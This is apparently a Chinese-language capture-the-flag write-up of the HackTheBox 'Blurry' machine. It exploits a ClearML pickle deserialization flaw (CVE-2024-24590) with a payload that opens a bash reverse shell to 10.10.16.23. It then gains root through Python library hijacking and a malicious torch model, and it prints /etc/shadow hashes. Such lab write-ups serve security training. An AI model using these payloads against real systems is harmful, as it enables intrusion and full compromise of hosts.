HackTheBox - Machine - Blurry

Recommand: Let’s Sign Up HTB Academy to get Higher level of knowledge :P

非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P

Blurry

首先進入了其 80 端口,發現頁面直接跳轉至 http://app.blurry.htb/ ,隨後注意到該應用似乎與 ClearML 相關,這是一個機器學習的數據管理工具。註冊過程中,最初遇到了一些錯誤,但通過檢查 API 地址發現需將其修改為 http://app.blurry.htb/api ,隨後成功進入應用。在此過程中,觀察到一個名為 Chad Jippity 的用戶正在運行腳本,並且這些腳本的結果會自動記錄到遠程 ClearML 服務器上。進一步調查後,發現 ClearML 的 Python 庫存在漏洞,特別是 CVE-2024-24590,這使得用戶在調用 task.artifacts.get() 時可能觸發反序列化漏洞。此漏洞可被利用來上傳一個特製的物件,進而執行任意代碼。當成功上傳物件後,便能在網頁上看到解析的 RunCommand 類,等待用戶執行 task.artifacts.get() 時即可獲得 shell 訪問權限。接著,進一步分析發現 /usr/bin/evaluate_model 的腳本中調用了 /models/evaluate_model.py ,並且該目錄具有寫入權限,這使得可以利用 Python 庫劫持技術來獲得 root 權限。此時,即使無法直接修改文件,仍然可以刪除並重新寫入一個 shell 程序,從而達成提權目的。

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PORT   STATE SERVICE REASON         VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0B2izYdzgANpvBJW4Ym5zGRggYqa8smNlnRrVK6IuBtHzdlKgcFf+Gw0kSgJEouRe8eyVV9iAyD9HXM2L0N/17+rIZkSmdZPQi8chG/PyZ+H1FqcFB2LyxrynHCBLPTWyuN/tXkaVoDH/aZd1gn9QrbUjSVo9mfEEnUduO5Abf1mnBnkt3gLfBWKq1P1uBRZoAR3EYDiYCHbuYz30rhWR8SgE7CaNlwwZxDxYzJGFsKpKbR+t7ScsviVnbfEwPDWZVEmVEd0XYp1wb5usqWz2k7AMuzDpCyI8klc84aWVqllmLml443PDMIh1Ud2vUnze3FfYcBOo7DiJg7JkEWpcLa6iTModTaeA1tLSUJi3OYJoglW0xbx71di3141pDyROjnIpk/K45zR6CbdRSSqImPPXyo3UrkwFTPrSQbSZfeKzAKVDZxrVKq+rYtd+DWESp4nUdat0TXCgefpSkGfdGLxPZzFg0cQ/IF1cIyfzo1gicwVcLm4iRD9umBFaM2E=
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFMB/Pupk38CIbFpK4/RYPqDnnx8F2SGfhzlD32riRsRQwdf19KpqW9Cfpp2xDYZDhA3OeLV36bV5cdnl07bSsw=
| 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOjcxHOO/Vs6yPUw6ibE6gvOuakAnmR7gTk/yE2yJA/3
80/tcp open http syn-ack ttl 63 nginx 1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://app.blurry.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

經典的一個80端口。

WEB

一打開ip會直接跳轉到:​http://app.blurry.htb/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ ffuf -u "http://10.129.32.150"  -H "Host: FUZZ.blurry.htb" -w /Tools/Wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -fs 169

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.0.0-dev
________________________________________________

:: Method : GET
:: URL : http://10.129.32.150
:: Wordlist : FUZZ: /Tools/Wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.blurry.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 169
________________________________________________

[Status: 200, Size: 13327, Words: 382, Lines: 29, Duration: 119ms]
* FUZZ: app

[Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 298ms]
* FUZZ: files

[Status: 200, Size: 218733, Words: 12692, Lines: 449, Duration: 244ms]
* FUZZ: chat

然後有三個subdomain,來到app這個domain:

image

隨便填入一個名字看看:

image

看起來是clearml,clearml你可以理解成是機器學習的pastebin。

按照他的方法注冊了一下:

1
2
$ pip install clearml
$ clearml-init

一開始的時候我怎麽填都顯示錯誤,然後按F12看到原來api的地址改了

image

所以改成如下圖:

image

api_server​ 改成 http://app.blurry.htb/api​ 即可。

1
2
3
4
5
6
7
8
9
api {
web_server: http://app.blurry.htb
api_server: http://app.blurry.htb/api
files_server: http://files.blurry.htb
credentials {
"access_key" = "CX2A899YJAOTM1SA8MUW"
"secret_key" = "MWl4vXOqyKXCeQTQTqgICjOrYsMQlhsRs3FfwE2qVPkmtA6gQg"
}
}

但是刷新了一個網頁突然看到有一個running顯示,觀察了下,每隔一段時間就會有東西在運行。

image

我就好奇的點了進去:

image

從這裏你可以看到,儅有一個用戶在運行脚本,而且是使用clearml的框架下運行,你脚本的結果會自動記錄到遠程clearml的服務器上。

所以從這裏你可以看到chad jippity 會每隔一段時間在本地運行一個脚本。

脚本内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/python3

from clearml import Task
from multiprocessing import Process
from clearml.backend_api.session.client import APIClient

def process_json_artifact(data, artifact_name):
"""
Process a JSON artifact represented as a Python dictionary.
Print all key-value pairs contained in the dictionary.
"""
print(f"[+] Artifact '{artifact_name}' Contents:")
for key, value in data.items():
print(f" - {key}: {value}")

def process_task(task):
artifacts = task.artifacts

for artifact_name, artifact_object in artifacts.items():
data = artifact_object.get()

if isinstance(data, dict):
process_json_artifact(data, artifact_name)
else:
print(f"[!] Artifact '{artifact_name}' content is not a dictionary.")

def main():
review_task = Task.init(project_name="Black Swan",
task_name="Review JSON Artifacts",
task_type=Task.TaskTypes.data_processing)

# Retrieve tasks tagged for review
tasks = Task.get_tasks(project_name='Black Swan', tags=["review"], allow_archived=False)

if not tasks:
print("[!] No tasks up for review.")
return

threads = []
for task in tasks:
print(f"[+] Reviewing artifacts from task: {task.name} (ID: {task.id})")
p = Process(target=process_task, args=(task,))
p.start()
threads.append(p)
task.set_archived(True)

for thread in threads:
thread.join(60)
if thread.is_alive():
thread.terminate()

# Mark the ClearML task as completed
review_task.close()

def cleanup():
client = APIClient()
tasks = client.tasks.get_all(
system_tags=["archived"],
only_fields=["id"],
order_by=["-last_update"],
page_size=100,
page=0,
)

# delete and cleanup tasks
for task in tasks:
# noinspection PyBroadException
try:
deleted_task = Task.get_task(task_id=task.id)
deleted_task.delete(
delete_artifacts_and_models=True,
skip_models_used_by_other_tasks=True,
raise_on_error=False
)
except Exception as ex:
continue

if __name__ == "__main__":
main()
cleanup()

搜索 ClearML exploit​ 看到了這個:https://hiddenlayer.com/research/not-so-clear-how-mlops-solutions-can-muddy-the-waters-of-your-supply-chain/

然後看到第一個 CVE-2024-24590: Pickle Load on Artifact Get 的視頻,他告訴你這個clearml 的python library有漏洞:

image

如果用戶調用 task.artifacts.get()​ 就會觸發反序列漏洞:

image

反序列可以用右邊的代碼生成,然後觀察 chad jippity 這個用戶:

image

你可以看到他確實有一個 get,所以參考視頻把代碼抄一下, 由於 upload_artifact 可以上傳一個object: https://clear.ml/docs/latest/docs/references/sdk/task/#upload_artifact

image

這樣就可以使用把反序列這個object使用artifact_object上傳上去就好了,代碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle,os

class RunCommand:
def __reduce__(self):
return (os.system, ('/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.23/1111 0>&1"',))

command = RunCommand()

from clearml import Task
task = Task.init(project_name='Black Swan', task_name='pickle_artifact_upload', tags=["review"], output_uri=True)

# 把command這個object上傳到 artifact_object
task.upload_artifact(name='pickle_artifact', artifact_object=command, retries=2, wait_on_upload=True, extension_name=".pkl")

當你把object上傳了上去之後,可以在網頁看到,已經成功解析了 RunCommand​ 這個類,這樣儅初始化 RunCommand()​ 就會執行代碼。

image

這個時候,等待用戶去執行 task.artifacts.get()​ 就得到了一個shell。

image

Root - Python Library Hijacking

直接告訴你提權怎麽走,所以我沒有跑linpeas。

1
2
3
4
5
6
7
8
9
10
jippity@blurry:~$ sudo -l
Matching Defaults entries for jippity on blurry:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jippity may run the following commands on blurry:
(root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth

jippity@blurry:~$ file /usr/bin/evaluate_model
/usr/bin/evaluate_model: Bourne-Again shell script, ASCII text executable

看到 /usr/bin/evaluate_model​ 是個脚本,打開看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
jippity@blurry:~$ cat /usr/bin/evaluate_model
#!/bin/bash
# Evaluate a given model against our proprietary dataset.
# Security checks against model file included.

if [ "$#" -ne 1 ]; then
/usr/bin/echo "Usage: $0 <path_to_model.pth>"
exit 1
fi

MODEL_FILE="$1"
TEMP_DIR="/models/temp"
PYTHON_SCRIPT="/models/evaluate_model.py"

..........

if [ -f "$MODEL_FILE" ]; then
/usr/bin/echo "[+] Model $MODEL_FILE is considered safe. Processing..."
/usr/bin/python3 "$PYTHON_SCRIPT" "$MODEL_FILE"

fi

你看到他調用了 /usr/bin/python3 "$PYTHON_SCRIPT" "$MODEL_FILE"​,

剛好 PYTHON_SCRIPT="/models/evaluate_model.py"​ ,

也就是說這個脚本會調用 /models/evaluate_model.py​,所以去看看:

1
2
3
4
5
6
jippity@blurry:/models$ ls -lah
total 1.1M
drwxrwxr-x 2 root jippity 4.0K May 30 10:32 .
drwxr-xr-x 19 root root 4.0K Jun 3 09:28 ..
-rw-r--r-- 1 root root 1.1M May 30 04:39 demo_model.pth
-rw-r--r-- 1 root root 2.5K May 30 04:38 evaluate_model.py

這裏面就兩個文件,但是cat了一下脚本,

1
2
3
4
5
6
7
8
jippity@blurry:/models$ cat evaluate_model.py                                                                                                                                             
import torch
import torch.nn as nn
from torchvision import transforms
from torchvision.datasets import CIFAR10
from torch.utils.data import DataLoader, Subset
import numpy as np
import sys

然後發現這個目錄怎麽會有寫入權限。。所以可以使用 python library hijacking​ 這個技術得到root:

1
2
echo 'import os; os.system("bash")' > /models/torch.py
sudo /usr/bin/evaluate_model /models/demo_model.pth

類似:

1
2
3
4
5
6
7
jippity@blurry:/models$ echo 'import os; os.system("bash")' > /models/torch.py
sudo /usr/bin/evaluate_model /models/demo_model.pth
[+] Model /models/demo_model.pth is considered safe. Processing...
root@blurry:/models# whoami
root
root@blurry:/models# id
uid=0(root) gid=0(root) groups=0(root)

Root - Replace evaluate_model.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
jippity@blurry:/models$ ls -lah
total 1.1M
drwxrwxr-x 3 root jippity 4.0K Jun 9 03:36 .
drwxr-xr-x 19 root root 4.0K Jun 3 09:28 ..
-rw-r--r-- 1 root root 1.1M May 30 04:39 demo_model.pth
-rw-r--r-- 1 root root 2.5K May 30 04:38 evaluate_model.py
drwxr-xr-x 2 root root 4.0K Jun 9 03:26 __pycache__
jippity@blurry:/models$ rm evaluate_model.py
rm: remove write-protected regular file 'evaluate_model.py'? y
jippity@blurry:/models$ ls
demo_model.pth __pycache__
jippity@blurry:/models$ echo 'import os; os.system("bash")' > evaluate_model.py

jippity@blurry:/models$ sudo /usr/bin/evaluate_model /models/demo_model.pth
[+] Model /models/demo_model.pth is considered safe. Processing...
root@blurry:/models# id
uid=0(root) gid=0(root) groups=0(root)
root@blurry:/models#

image

你可以看到這個目錄屬於 jippity​ 這個用戶,所以實際上是可以刪除下面的文件的,即使他是root。

你現在沒有權限可以改裏面的文件,但是不代表你不可以刪除。所以刪除掉這個文件重新寫入一個shell,這樣也可以得到root。

Root - 當然也可以製作一個模型來得到root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import torch
import torch.nn as nn
import os
class CustomModel(nn.Module):
def __init__(self):
super(CustomModel, self).__init__()
self.linear = nn.Linear(10, 1)

def forward(self, x):
return self.linear(x)

def __reduce__(self):
cmd = "bash"
return os.system, (cmd,)

model = CustomModel()
torch.save(model, '/models/evil.pth')

類似這樣:

image

其實還有另一種提權的方法,也就是 Race condition​:從脚本可以看到,他是解壓了之後才分析,如果在解壓完了替換掉一開始解壓的文件,也可以得到root。

Hashes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
cat /etc/shadow
root:$y$j9T$HKjGxAyjzW3lmf/HmZafW0$fgkQykeZSlRYHzR8zHjMVQrRUzwM3xSvA0koPgt6TQ6:19770:0:99999:7:::
daemon:*:19668:0:99999:7:::
bin:*:19668:0:99999:7:::
sys:*:19668:0:99999:7:::
sync:*:19668:0:99999:7:::
games:*:19668:0:99999:7:::
man:*:19668:0:99999:7:::
lp:*:19668:0:99999:7:::
mail:*:19668:0:99999:7:::
news:*:19668:0:99999:7:::
uucp:*:19668:0:99999:7:::
proxy:*:19668:0:99999:7:::
www-data:*:19668:0:99999:7:::
backup:*:19668:0:99999:7:::
list:*:19668:0:99999:7:::
irc:*:19668:0:99999:7:::
gnats:*:19668:0:99999:7:::
nobody:*:19668:0:99999:7:::
_apt:*:19668:0:99999:7:::
systemd-network:*:19668:0:99999:7:::
systemd-resolve:*:19668:0:99999:7:::
messagebus:*:19668:0:99999:7:::
systemd-timesync:*:19668:0:99999:7:::
sshd:*:19668:0:99999:7:::
systemd-coredump:!*:19668::::::
jippity:$y$j9T$WUn.W06MZ94pp.Zq4HANr/$UAdCX7HojvUwcmzTO6.xcwCWvxrKneaoRAPqpFf1G6D:19770:0:99999:7:::
_laurel:!:19871::::::

Thanks

Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!

感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!

Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!

發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!

Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.

新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。

使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)

Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)